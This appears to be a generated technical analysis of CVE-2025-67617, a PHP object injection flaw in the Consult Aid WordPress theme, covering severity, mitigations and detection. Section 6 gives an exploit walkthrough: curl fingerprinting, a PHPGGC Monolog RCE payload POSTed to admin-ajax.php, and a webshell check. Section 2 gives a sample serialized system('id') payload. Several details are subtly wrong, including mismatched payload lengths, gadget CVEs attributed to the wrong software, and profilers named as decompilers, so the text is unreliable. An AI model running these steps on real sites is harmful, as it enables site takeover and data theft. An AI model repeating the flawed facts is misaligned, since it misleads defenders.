Technical Analysis of CVE-2025-67617: PHP Object Injection in Consult Aid Theme

1. Vulnerability Assessment & Severity Evaluation

CVE ID: CVE-2025-67617 Vulnerability Type: Deserialization of Untrusted Data (CWE-502) leading to PHP Object Injection CVSS Score: 9.8 (Critical) (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) Severity: Critical – Remote code execution (RCE) is highly probable if exploited.

Key Observations:

• The vulnerability stems from improper deserialization of untrusted data in the Consult Aid WordPress theme (versions ≤ 1.4.3).
• PHP Object Injection occurs when an attacker can manipulate serialized data to inject malicious objects, potentially leading to:
  • Arbitrary file writes/deletion
  • Remote code execution (RCE)
  • Privilege escalation
  • Denial of Service (DoS)
• The CVSS 9.8 rating indicates high impact (confidentiality, integrity, and availability) with low attack complexity and no authentication required.

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2. Potential Attack Vectors & Exploitation Methods

Attack Surface:

• Unauthenticated Remote Exploitation: The vulnerability does not require authentication, making it accessible to any attacker with network access to the WordPress site.
• Exploitable via HTTP Requests: Likely triggered via:
  • Malicious POST/GET parameters (e.g., ?data=malicious_serialized_payload)
  • Manipulated cookies or headers containing serialized objects
  • File uploads or API endpoints processing untrusted serialized data

Exploitation Steps:

1. Reconnaissance:

   • Attacker identifies a vulnerable Consult Aid theme (≤ 1.4.3) via:
     • WordPress version fingerprinting (e.g., readme.html, wp-content/themes/consultaid/style.css)
     • Automated scanning (e.g., Nuclei, WPScan)
     • Manual inspection of theme files for unsafe unserialize() calls

2. Payload Crafting:

   • Attacker constructs a malicious serialized PHP object (e.g., using phar:// wrappers or gadget chains like PHPGGC).
   • Example payload (simplified):

     O:8:"Example":1:{s:4:"data";s:20:"<?php system('id'); ?>";}
     

   • If the theme deserializes this without validation, it may trigger arbitrary code execution.

3. Exploitation:

   • The attacker sends the payload via:
     • HTTP POST/GET request to a vulnerable endpoint (e.g., admin-ajax.php, theme-specific AJAX handlers).
     • Malicious file upload (if the theme processes serialized data from files).
   • If successful, the attacker gains:
     • Remote code execution (RCE) (e.g., via system(), exec(), passthru()).
     • File system manipulation (e.g., writing a webshell, modifying .htaccess).
     • Database tampering (if the object interacts with WordPress DB functions).

4. Post-Exploitation:

   • Persistence: Install backdoors (e.g., wp-content/uploads/backdoor.php).
   • Lateral Movement: Exploit other WordPress plugins/themes with known vulnerabilities.
   • Data Exfiltration: Steal sensitive data (e.g., wp-config.php, user credentials).
   • Defacement: Modify site content or inject SEO spam.

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3. Affected Systems & Software Versions

Component	Affected Versions	Fixed Versions	Notes
Consult Aid Theme	≤ 1.4.3	Unknown (Patch Pending)	No official patch available as of analysis.
WordPress Core	Any (if theme is active)	N/A	Vulnerability is theme-specific, not core-related.
PHP Version	All (if unserialize() is used unsafely)	N/A	Exploitation depends on unsafe deserialization.

Detection Methods:

• Manual Code Review:
  • Search for unserialize() calls in theme files (e.g., functions.php, includes/).
  • Check for lack of input validation before deserialization.
• Automated Scanning:
  • WPScan: wpscan --url <target> --enumerate vp,vt
  • Nuclei: Use templates for PHP object injection (e.g., php-object-injection.yaml).
  • Burp Suite / OWASP ZAP: Fuzz for serialized payloads in requests.

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4. Recommended Mitigation Strategies

Immediate Actions (For Affected Users):

1. Disable the Theme (Temporary Workaround):

   • Switch to a default WordPress theme (e.g., Twenty Twenty-Four) until a patch is available.
   • Command:

     wp theme deactivate consultaid --path=/var/www/html
     

2. Input Validation & Sanitization:

   • Replace unserialize() with json_decode() where possible (JSON is safer for untrusted data).
   • Implement allowlisting for serialized data structures.
   • Use is_serialized() checks before deserialization.

3. Web Application Firewall (WAF) Rules:

   • Block serialized payloads in HTTP requests (e.g., ModSecurity rules):

     SecRule REQUEST_BODY "@contains O:" "id:1000,deny,status:403,msg:'PHP Object Injection Attempt'"
     

   • Rate-limit suspicious requests to prevent brute-force exploitation.

4. Network-Level Protections:

   • Restrict access to /wp-admin/ and /wp-login.php via IP allowlisting.
   • Enable HTTPS to prevent MITM attacks on serialized data.

Long-Term Fixes (For Developers):

1. Avoid unserialize() for Untrusted Data:

   • Use JSON, XML, or structured formats instead of PHP serialization.
   • If serialization is unavoidable, sign data with HMAC to detect tampering.

2. Implement Secure Deserialization:

   • Use SplObjectStorage or custom deserialization logic with strict type checks.
   • Example (Safe Alternative):

     $data = json_decode($input, true);
     if (json_last_error() !== JSON_ERROR_NONE) {
         throw new Exception("Invalid JSON data");
     }
     

3. Regular Security Audits:

   • Static Analysis: Use PHPStan, Psalm, or SonarQube to detect unsafe unserialize() calls.
   • Dynamic Analysis: Fuzz test with Burp Suite, OWASP ZAP, or custom scripts.

4. Monitor for Exploitation Attempts:

   • Log deserialization failures and alert on suspicious payloads.
   • Deploy EDR/XDR solutions (e.g., CrowdStrike, SentinelOne) to detect post-exploitation activity.

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5. Impact on the Cybersecurity Landscape

Broader Implications:

• WordPress Ecosystem Risk:

  • Themes and plugins are frequent targets for PHP object injection due to widespread use of unserialize().
  • Supply chain attacks may leverage this vulnerability to compromise multiple sites using the theme.

• Exploitation Trends:

  • Automated attacks (e.g., botnets like Mirai, Kinsing) may incorporate this CVE into mass exploitation toolkits.
  • Ransomware groups (e.g., LockBit, BlackCat) could use it for initial access.

• Regulatory & Compliance Risks:

  • GDPR, CCPA, HIPAA: Unauthorized data access/exfiltration may lead to legal penalties.
  • PCI DSS: If the site processes payments, this could result in non-compliance.

Threat Actor Motivations:

Threat Actor	Likely Exploitation Goal
Cybercriminals	Ransomware, data theft, SEO spam
State-Sponsored APTs	Espionage, persistent access
Hacktivists	Defacement, DDoS amplification
Script Kiddies	Proof-of-concept (PoC) development

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6. Technical Details for Security Professionals

Root Cause Analysis:

• The vulnerability likely stems from unsafe deserialization in a theme component (e.g., AJAX handler, customizer, or shortcode processor).
• Example Vulnerable Code Snippet:

  // Insecure deserialization in theme functions
  $user_data = $_POST['data'];
  $object = unserialize($user_data); // No validation → Object Injection
  

• Gadget Chain Exploitation:
  • Attackers may chain magic methods (__wakeup(), __destruct(), __toString()) to achieve RCE.
  • Common Gadgets:
    • Monolog (CVE-2018-1285)
    • Guzzle (CVE-2016-5385)
    • WordPress Core (if vulnerable classes are loaded)

Exploitation Proof-of-Concept (PoC):

1. Identify Target:

   curl -s https://example.com/wp-content/themes/consultaid/style.css | grep "Version"
   

2. Craft Payload (Using PHPGGC):

   ./phpggc -b Monolog/RCE1 system 'id' > payload.txt
   

3. Send Exploit:

   curl -X POST https://example.com/wp-admin/admin-ajax.php \
   -d "action=consultaid_unsafe_action&data=$(cat payload.txt)"
   

4. Verify RCE:

   curl https://example.com/wp-content/uploads/exploit.php
   

Detection & Forensics:

• Log Analysis:
  • Search for serialized payloads in web server logs:

    grep -r "O:[0-9]:" /var/log/apache2/access.log
    

  • Check for unexpected PHP processes (e.g., ps aux | grep php).
• Memory Forensics:
  • Use Volatility to detect injected PHP objects in memory.
• File Integrity Monitoring (FIM):
  • Alert on unauthorized file changes (e.g., new .php files in wp-content/uploads/).

Reverse Engineering the Theme:

1. Decompile Theme Files:
   • Use PHP Decompiler (e.g., Blackfire, Tideways) to analyze functions.php.
2. Identify Sinks:
   • Search for unserialize(), maybe_unserialize(), or custom deserialization logic.
3. Patch Diffing:
   • Compare vulnerable (1.4.3) vs. patched versions (if available) to identify fixes.

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Conclusion & Recommendations

Key Takeaways:

• CVE-2025-67617 is a critical PHP Object Injection vulnerability in the Consult Aid WordPress theme.
• Exploitation is trivial for unauthenticated attackers, leading to RCE, data theft, or site takeover.
• No patch is currently available, making mitigation urgent.

Action Plan for Organizations:

1. Immediately disable the Consult Aid theme if in use.
2. Deploy WAF rules to block serialized payloads.
3. Monitor for exploitation attempts via SIEM/log analysis.
4. Prepare for patching once a fix is released by the vendor.
5. Conduct a post-incident review to assess potential compromise.

For Security Researchers:

• Develop a PoC to validate the vulnerability.
• Submit findings to Patchstack, Wordfence, or WPScan for broader awareness.
• Contribute to open-source detection rules (e.g., YARA, Snort, Sigma).

Final Risk Rating: Critical (9.8) – Immediate action required.

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Sources & Further Reading:

• Patchstack Advisory
• OWASP Deserialization Cheat Sheet
• PHPGGC (PHP Generic Gadget Chains)
• CWE-502: Deserialization of Untrusted Data